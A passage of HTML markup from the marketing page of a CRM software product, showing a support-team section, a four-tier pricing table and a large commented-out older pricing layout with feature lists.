              </li>
              <li>
                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                </svg>Invoices
              </li>
              <li>
                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                </svg>Push Notifications
              </li>
            </ul>

          </div>
          <div class="col-lg-7 mb-30 app-section">
            <img src="assets/imgs/page/homepage2/app-screen.png" width="650" alt="Brexa">
            <img class="Process-image" src="assets/imgs/page/homepage2/Process.png" width="300" width="400" alt="Brexa">
            <img class="vector-arrow" src="assets/imgs/page/homepage2/Vector.png" alt="Brexa">
          </div>
        </div>
      </div>
    </section> -->



    <!--<section class="section mt-50 mb-50">-->
    <!--  <div class="container">-->
    <!--    <div class="row align-items-center justify-content-center">-->
    <!--      <div class="col-xl-6 col-lg-6 text-center">-->
    <!--        <div class="box-phones-inner">-->
    <!--          <div class="img-phone-1"><img src="assets/imgs/page/homepage2/data-driven-decisions.png" height="400" alt="Brexa"></div>-->
    <!--        </div>-->
    <!--      </div>-->
    <!--      <div class="col-xl-6 col-lg-6">-->
    <!--        <h2 class="color-brand-1 mb-20 mt-15">Improve your results with <br>data-driven decisions</h2>-->
    <!--        <p class="font-sm color-grey-500">Track what's happening in your business in real time, so you'll make-->
    <!--          better decisions, provide better services, and obtain better results.</p>-->
    <!--      </div>-->
    <!--    </div>-->
    <!--  </div>-->
    <!--</section>-->


    <section class="section pt-50 bg-grey-60">
      <div class="container">
        <div class="row justify-content-center">
          <div class="col-lg-6 text-center">
            <h2 class="color-brand-1 mb-20 title">Our
              <span class="text-shape">Support Heros
                <svg width="243" height="35" viewBox="0 0 243 35" fill="none" xmlns="http://www.w3.org/2000/svg">
                  <path d="M2 13.0328C32.4961 7.38981 122.991 -2.20328 241 4.56831" stroke="#FDB52A" stroke-width="4" stroke-linecap="round"></path>
                  <path d="M64.9152 15.5249C87.022 10.8533 152.77 2.09709 238.906 4.44526" stroke="#FDB52A" stroke-width="4" stroke-linecap="round"></path>
                  <path d="M65.012 16.4264C87.692 13.3239 154.306 10.8944 239.322 25.9959" stroke="#FDB52A" stroke-width="4" stroke-linecap="round"></path>
                </svg>
              </span> are <br>here for you 24/7
            </h2>
            <p class="font-lg color-gray-500">Meet our world famous support team. They are fast, they are smart, <br>and
              they will help you out any time day or night!</p>
          </div>
        </div>
        <div class="row mt-50">
          <div class="col-lg-12">
            <div class="text-center Steam">
              <img src="assets/imgs/page/homepage2/support-heros.png" alt="Brexa">
            </div>
          </div>
        </div>
      </div>
    </section>
    
    <section class="section mt-100 pb-110"> 
        <div class="container"> 
          <div class="row align-items-center"> 
            <div class="col-lg-12 text-center">
              <h2 class="color-brand-1 mb-20">Plans that scale with you</h2>
              <p class="font-lg color-gray-500">Find a plan the best fits your business and needs.
All pricing plans can be paid monthly or annually (with a discount).</p>
              <ul class="tabs-plan change-price-plan" role="tablist">
                <li> <a class="active" href="#" data-type="monthly">Monthly</a></li>
                <li> <a href="#" data-type="yearly">Yearly</a></li>
              </ul>
            </div>
          </div>
          <div class="row mt-50"> 
            <div class="col-xl-3 col-lg-6 col-md-6">
              <div class="card-plan-style-2 hover-up"> 
                <div class="card-plan">
                  <div class="card-image-plan"> 
                    <div class="icon-plan"> <img src="assets/imgs/page/homepage2/free.svg" alt="brexa"></div>
                    <div class="info-plan"> 
                      <h4 class="color-brand-1">Trial Plan</h4>
                      <p class="font-md color-grey-400">Protect for testing</p>
                    </div>
                  </div>
                  <div class="box-day-trial"> <span class="font-lg-bold color-brand-1">FREE </span> <span class="font-md color-grey-500">- 30 days trial </span><br><span class="font-xs color-grey-500">No Credit card required</span></div>
                  <div class="mt-20"> <a class="btn btn-brand-1-full hover-up" href="#">Try for free
                      <svg class="w-6 h-6 icon-16 ml-10" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>
                      </svg></a></div>
                </div>
                <div class="mt-30 mb-30"> 
                  <ul class="list-ticks list-ticks-2"> 
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>Max number of results per month
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>Various innovative test
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>Insightful analytics
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>Additional user accounts
                    </li>
                  </ul>
                </div>
              </div>
            </div>
            <div class="col-xl-3 col-lg-6 col-md-6">
              <div class="card-plan-style-2 hover-up"> 
                <div class="card-plan">
                  <div class="card-image-plan"> 
                    <div class="icon-plan bg-1"> <img src="assets/imgs/page/homepage2/standard.svg" alt="brexa"></div>
                    <div class="info-plan"> 
                      <h4 class="color-brand-1">Standard</h4>
                      <p class="font-md color-grey-400">Advanced project</p>
                    </div>
                  </div>
                  <div class="box-day-trial"> <span class="font-lg-bold color-brand-1 text-price-standard">$49 </span> <span class="font-md color-grey-500 text-type-standard">- user / month </span><br><span class="font-xs color-grey-500">Billed annually</span></div>
                  <div class="mt-20"> <a class="btn btn-brand-1-full hover-up" href="#">Get Started
                      <svg class="w-6 h-6 icon-16 ml-10" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>
                      </svg></a></div>
                </div>
                <div class="mt-30 mb-30"> 
                  <ul class="list-ticks list-ticks-2"> 
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>Unlimited Users
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>5 Pipelines
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>10 Automations
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>1000 Contacts
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>$29 for Every additional 1000 Contacts
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>All Features Except Mobile App
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>One time Set up Fee $499
                    </li>
                  </ul>
                </div>
              </div>
            </div>
            <div class="col-xl-3 col-lg-6 col-md-6">
              <div class="card-plan-style-2 hover-up">
                <div class="card-plan"> 
                  <div class="card-image-plan"> 
                    <div class="icon-plan bg-2"> <img src="assets/imgs/page/homepage2/building.svg" alt="brexa"></div>
                    <div class="info-plan"> 
                      <h4 class="color-brand-1">Business</h4>
                      <p class="font-md color-grey-400">Protect for testing</p>
                    </div>
                  </div>
                  <div class="box-day-trial"> <span class="font-lg-bold color-brand-1 text-price-business">$99 </span> <span class="font-md color-grey-500 text-type-business">- user / month</span><br><span class="font-xs color-grey-500">Billed annually</span></div>
                  <div class="mt-20"> <a class="btn btn-brand-1-full hover-up" href="#">Get Started
                      <svg class="w-6 h-6 icon-16 ml-10" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>
                      </svg></a></div>
                </div>
                <div class="mt-30 mb-30"> 
                  <ul class="list-ticks list-ticks-2"> 
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>Unlimited Users
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>20 Pipelines
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>20 Automations
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>1000 Contacts
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>$29 for Every additional 1000 Contacts
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>All Features With Mobile App
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>One time Set up Fee $499
                    </li>
                  </ul>
                </div>
              </div>
            </div>
            <div class="col-xl-3 col-lg-6 col-md-6">
              <div class="card-plan-style-2 hover-up"> 
                <div class="card-plan">
                  <div class="card-image-plan"> 
                    <div class="icon-plan bg-3"> <img src="assets/imgs/page/homepage2/enterprise.png" alt="brexa"></div>
                    <div class="info-plan"> 
                      <h4 class="color-brand-1">Enterprise</h4>
                      <p class="font-md color-grey-400">Protect for testing</p>
                    </div>
                  </div>
                  <div class="box-day-trial"> <span class="font-lg-bold color-brand-1 text-price-enterprise">Talk to us </span> <span class="font-md color-grey-500 text-type-enterprise"></span><br><span class="font-xs color-grey-500">One-time pay</span></div>
                  <div class="mt-20"> <a class="btn btn-brand-1-full hover-up" href="#">Get Started
                      <svg class="w-6 h-6 icon-16 ml-10" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>
                      </svg></a></div>
                </div>
                <div class="mt-30 mb-30"> 
                  <ul class="list-ticks list-ticks-2"> 
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>Unlimited Users
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>Unlimited Pipelines
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>Unlimited Automations
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>upto 15000 Contacts
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>All Features With Mobile App
                    </li>
                    <li> 
                      <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>
                      </svg>One time Set up Fee $499
                    </li>
                    
                  </ul>
                </div>
              </div>
            </div>
          </div>
        </div>
      </section>

    <!--<section class="section mt-0 bg-plan-2 pt-110 pb-110">-->
    <!--  <div class="container">-->
    <!--    <div class="row align-items-center">-->
    <!--      <div class="col-lg-12 text-center">-->
    <!--        <h2 class="color-brand-1 mb-20">Plans that scale with you</h2>-->
    <!--        <p class="font-lg color-gray-500">Find a plan the best fits your business and needs. <br>All pricing plans-->
    <!--          can be paid monthly or annually (with a discount).</p>-->
    <!--        <ul class="tabs-plan change-price-plan" role="tablist">-->
    <!--          <li> <a class="active" href="#" data-type="monthly">Monthly</a></li>-->
    <!--          <li> <a href="#" data-type="yearly">Yearly</a></li>-->
    <!--        </ul>-->
    <!--      </div>-->
    <!--    </div>-->
    <!--    <div class="row justify-content-center mt-50">-->
    <!--      <div class="col-xl-4 col-lg-6 col-md-6">-->
    <!--        <div class="card-plan card-plan-2 hover-up">-->
    <!--          <div class="card-image-plan">-->
    <!--            <div class="icon-plan"><img src="assets/imgs/page/homepage2/free.png" width="25" alt="Brexa"></div>-->
    <!--            <div class="info-plan">-->
    <!--              <h4 class="color-brand-1">Trial Plan</h4>-->
    <!--            </div>-->
    <!--          </div>-->
    <!--          <div class="box-day-trial box-trial-two">-->
    <!--            <div class="trial-col-1"><span class="font-lg-bold color-brand-1">FREE</span><span class="font-md color-grey-500">- 30 days trial<br></span><span class="font-xs color-grey-500">No-->
    <!--                Credit card required</span></div>-->
    <!--            <div class="trial-col-2"><a class="btn btn-brand-1-full hover-up" href="https://app.worke.io/login">Signup-->
    <!--                <svg class="w-6 h-6 icon-16 ml-10" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
    <!--                </svg></a></div>-->
    <!--          </div>-->
    <!--          <div class="mt-30 mb-30">-->
    <!--            <ul class="list-ticks list-ticks-2">-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>8 Users-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>15,000 Contacts-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Chatbots-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Live Chat-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Web Forms-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>3 Pipelines-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Sales CRM-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Appointments and Meetings-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>100 Products-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Clients and Projects-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Invoices-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Knowledge Base-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Announcements-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Team Chat-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Smart Pop ups-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Push Notifications-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Payments-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Mobile App Client Portal-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Campaigns (WhatsApp)-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>List Segmentation-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Task Management-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Google & Outlook 2 way sync-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>10 Gb File Storage-->
    <!--              </li>-->

    <!--            </ul>-->
    <!--          </div>-->
    <!--        </div>-->
    <!--      </div>-->
    <!--      <div class="col-xl-4 col-lg-6 col-md-6">-->
    <!--        <div class="card-plan card-plan-2 hover-up">-->

    <!--          <div class="card-image-plan">-->
    <!--            <div class="icon-plan"><img src="assets/imgs/page/homepage2/pro.png" width="45" alt="Brexa"></div>-->
    <!--            <div class="info-plan">-->
    <!--              <h4 class="color-brand-1">Pro</h4>-->
    <!--              <div class="trial-col-1">-->
    <!--                <span class="font-lg-bold color-brand-1 text-price-standard">$199</span><span class="font-md color-grey-500 text-type-standard">- / month</span>-->
    <!--              </div>-->
    <!--            </div>-->
    <!--          </div>-->
    <!--          <div class="box-day-trial box-trial-two">-->
    <!--            <div class="trial-col-1">-->
    <!--              <span class="font-xs color-grey-500">(Billed Monthly)</span><br>-->
    <!--              <span class="font-md color-grey-500">Pay annually Save </span>-->
    <!--              <span class="font-lg-bold color-brand-1">20%</span><br>-->
    <!--              <span class="font-xs color-grey-500">Additional users are $29 each</span>-->
    <!--            </div>-->
    <!--            <div class="trial-col-2"><a class="btn btn-brand-1-full hover-up" href="https://app.worke.io/login">Signup-->
    <!--                <svg class="w-6 h-6 icon-16 ml-10" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M14 5l7 7m0 0l-7 7m7-7H3"></path>-->
    <!--                </svg></a></div>-->
    <!--          </div>-->
    <!--          <div class="mt-30 mb-30">-->
    <!--            <ul class="list-ticks list-ticks-2">-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>8 Users-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>15,000 Contacts-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Chatbots-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Live Chat-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Web Forms-->
    <!--              </li>-->
    <!--              <li>-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>3 Pipelines-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"></path>-->
    <!--                </svg>Sales CRM-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
    <!--                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12">-->
    <!--                  </path>-->
    <!--                </svg>Appointments and Meetings-->
    <!--              </li>-->
    <!--              <li class="mutted">-->
    <!--                <svg class="w-6 h-6 icon-16" fill="none" stroke="currentColor" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">-->
